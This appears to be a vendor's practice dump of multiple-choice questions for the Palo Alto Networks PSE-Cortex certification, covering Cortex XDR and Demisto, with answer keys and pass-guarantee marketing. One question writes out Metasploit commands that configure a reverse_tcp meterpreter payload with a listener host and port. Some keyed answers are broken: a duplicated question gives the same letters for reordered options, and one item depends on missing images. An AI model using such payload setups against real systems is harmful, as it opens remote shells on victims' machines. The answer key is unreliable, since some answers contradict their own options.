Paloalto-Networks

Exam Questions PSE-Cortex

Palo Alto Networks System Engineer - Cortex Professional

NEW QUESTION 1
A prospect has agreed to do a 30-day POC and asked to integrate with a product that Demisto currently does not have an integration with. How should you respond?

A. Extend the POC window to allow the solution architects to build it
B. Tell them we can build it with Professional Services.
C. Tell them custom integrations are not created as part of the POC
D. Agree to build the integration as part of the POC

Answer: C

NEW QUESTION 2
What method does the Traps agent use to identify malware during a scheduled scan?

A. Heuristic analysis
B. Local analysis
C. Signature comparison
D. WildFire hash comparison and dynamic analysis

Answer: D

NEW QUESTION 3
Which CLI query would bring back Notable Events from Splunk?
A)

```
!splunk-search query="`notable` | head 3"
```

B)

```
!splunk-search query="'notable' | head 3"
```

C)

```
!splunk-search query="*"
```

D)

```
!splunk-search query="* | head 3"
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: D

NEW QUESTION 4
Which option describes a Load-Balancing Engine Group?

A. A group of engines that use an algorithm to efficiently share the workload for integrations
B. A group of engines that ensure High Availability of Demisto backend databases.
C. A group of engines that use an algorithm to efficiently share the workload for automation scripts
D. A group of D2 agents that share processing power across multiple endpoints

Answer: C

NEW QUESTION 5
Which two entities can be created as a BIOC? (Choose two.)

A. file
B. registry
C. event log
D. alert log

Answer: AB

Explanation:
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/investigation-and-response/cortex-xd

NEW QUESTION 6
In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three)

A. alert root cause

B. hostname
C. domain/workgroup membership
D. OS
E. presence of Flash executable

Answer: BCD

NEW QUESTION 7
In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three.)

A. Domain/workgroup membership
B. quarantine status
C. hostname
D. OS
E. attack threat intelligence tag

Answer: BCD

NEW QUESTION 8
In the DBotScore context field, which context key would differentiate between multiple entries for the same indicator in a multi-TIP environment?

A. Vendor
B. Type
C. Using
D. Brand

Answer: A

NEW QUESTION 9
Which two types of lOCs are available for creation in Cortex XDR? (Choose two.)

A. IP
B. endpoint hostname
C. domain
D. registry entry

Answer: AC

NEW QUESTION 10
An Administrator is alerted to a Suspicious Process Creation security event from multiple users.
The users believe that these events are false positives Which two steps should the administrator take to confirm the false positives and create an exception? (Choose two)

A. With the Malware Security profile, disable the "Prevent Malicious Child Process Execution" module
B. Within the Malware Security profile add the specific parent process, child process, and command line argument to the child process whitelist
C. In the Cortex XDR security event, review the specific parent process, child process, and command line arguments
D. Contact support and ask for a security exception.

Answer: BC

NEW QUESTION 10
Which three Demisto incident type features can be customized under Settings > Advanced > Incident Types? (Choose three.)

A. Define whether a playbook runs automatically when an incident type is encountered
B. Set reminders for an incident SLA
C. Add new fields to an incident type
D. Define the way that incidents of a specific type are displayed in the system
E. Drop new incidents of the same type that contain similar information

Answer: ABD

NEW QUESTION 11
How can you view all the relevant incidents for an indicator?

A. Linked Incidents column in Indicator Screen
B. Linked Indicators column in Incident Screen
C. Related Indicators column in Incident Screen
D. Related Incidents column in Indicator Screen

Answer: D

NEW QUESTION 12
The customer has indicated they need EDR data collection capabilities, which Cortex XDR license is required?

A. Cortex XDR Pro per TB

B. Cortex XDR Prevent
C. Cortex XDR Endpoint
D. Cortex XDR Pro Per Endpoint

Answer: D

Explanation:
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/cortex-xdr-overview/cortex-xdr-licen

NEW QUESTION 17
The prospect is deciding whether to go with a phishing or a ServiceNow use case as part of their POC We have integrations for both but a playbook for phishing only Which use case should be used for the POC?

A. phishing
B. either
C. ServiceNow
D. neither

Answer: A

NEW QUESTION 18
If an anomalous process is discovered while investigating the cause of a security event, you can take immediate action to terminate the process or the whole process tree, and block processes from running by initiating which Cortex XDR capability?

A. Live Sensors
B. File Explorer
C. Log Stitching
D. Live Terminal

Answer: D

NEW QUESTION 19
A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified
(exploit/windows/browser/ms16_051_vbscript)
The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):
Name       Current Setting    Required  Description
--------   ----------------   --------  ---------------
SRVHOST    10.0.0.10          yes       The local host to listen on.
SRVPORT    8080               yes       The local port to listen on.
SSL        false              no        Negotiate SSL for incoming connections
SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                       no        The URI to use for this exploit (default is random)
```

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?
A)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080
```

B)

```
set PAYLOAD windows/x64/powershell_bind_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

C)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

D)

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 443
set URIPATH survey
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: D

NEW QUESTION 21
Which two filter operators are available in Cortex XDR? (Choose two.)

A. not Contains
B. !*
C. =>
D. < >

Answer: AB

Explanation:
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/get-started-with-cortex-xdr-pro/use-c

NEW QUESTION 24
Which Cortex XDR Agent capability prevents loading malicious files from USB-connected removable equipment?

A. Agent Configuration
B. Device Control
C. Device Customization
D. Agent Management

Answer: B

Explanation:
https://live.paloaltonetworks.com/t5/blogs/cortex-xdr-features-introduced-in-december-2019/ba-p/302231

NEW QUESTION 26
Which process in the causality chain does the Cortex XDR agent identify as triggering an event sequence?

A. the relevant shell
B. The causality group owner
C. the adversary's remote process
D. the chain's alert initiator

Answer: B

NEW QUESTION 30
How does DBot score an indicator that has multiple reputation scores?

A. uses the most severe score scores
B. the reputation as undefined
C. uses the average score
D. uses the least severe score

Answer: A

NEW QUESTION 32
The images show two versions of the same automation script and the results they produce when executed in Demisto. What are two possible causes of the exception thrown in the second Image? (Choose two.)
SUCCESS

A. The modified scnpt was run in the wrong Docker image
B. The modified script required a different parameter to run successfully.
C. The dictionary was defined incorrectly in the second script.
D. The modified script attempted to access a dictionary key that did not exist in the dictionary named "data"

Answer: A

NEW QUESTION 35
An administrator of a Cortex XDR protected production environment would like to test its ability to protect users from a known flash player exploit.
What is the safest way to do it?

A. The administrator should attach a copy of the weapomzed flash file to an email, send the email to a selected group of employees, and monitor the Events tab on the Cortex XDR console
B. The administrator should use the Cortex XDR tray icon to confirm his corporate laptop is fully protected then open the weaponized flash file on his machine, and monitor the Events tab on the Cortex XDR console.
C. The administrator should create a non-production Cortex XDR test environment that accurately represents the production environment, introduce the weaponized flash file, and monitor the Events tab on the Cortex XDR console.
D. The administrator should place a copy of the weaponized flash file on several USB drives, scatter them around the office and monitor the Events tab on the Cortex XDR console

Answer: C

NEW QUESTION 38
If you have a playbook task that errors out. where could you see the output of the task?

A. /var/log/messages
B. War Room of the incident
C. Demisto Audit log
D. Playbook Editor

Answer: B

NEW QUESTION 40
Which step is required to prepare the VDI Golden Image?

A. Review any PE files that WildFire determined to be malicious
B. Ensure the latest content updates are installed
C. Run the VDI conversion tool
D. Set the memory dumps to manual setting

Answer: A

NEW QUESTION 45
.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

PSE-Cortex Practice Exam Features:

* PSE-Cortex Questions and Answers Updated Frequently

* PSE-Cortex Practice Questions Verified by Expert Senior Certified Staff

* PSE-Cortex Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* PSE-Cortex Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year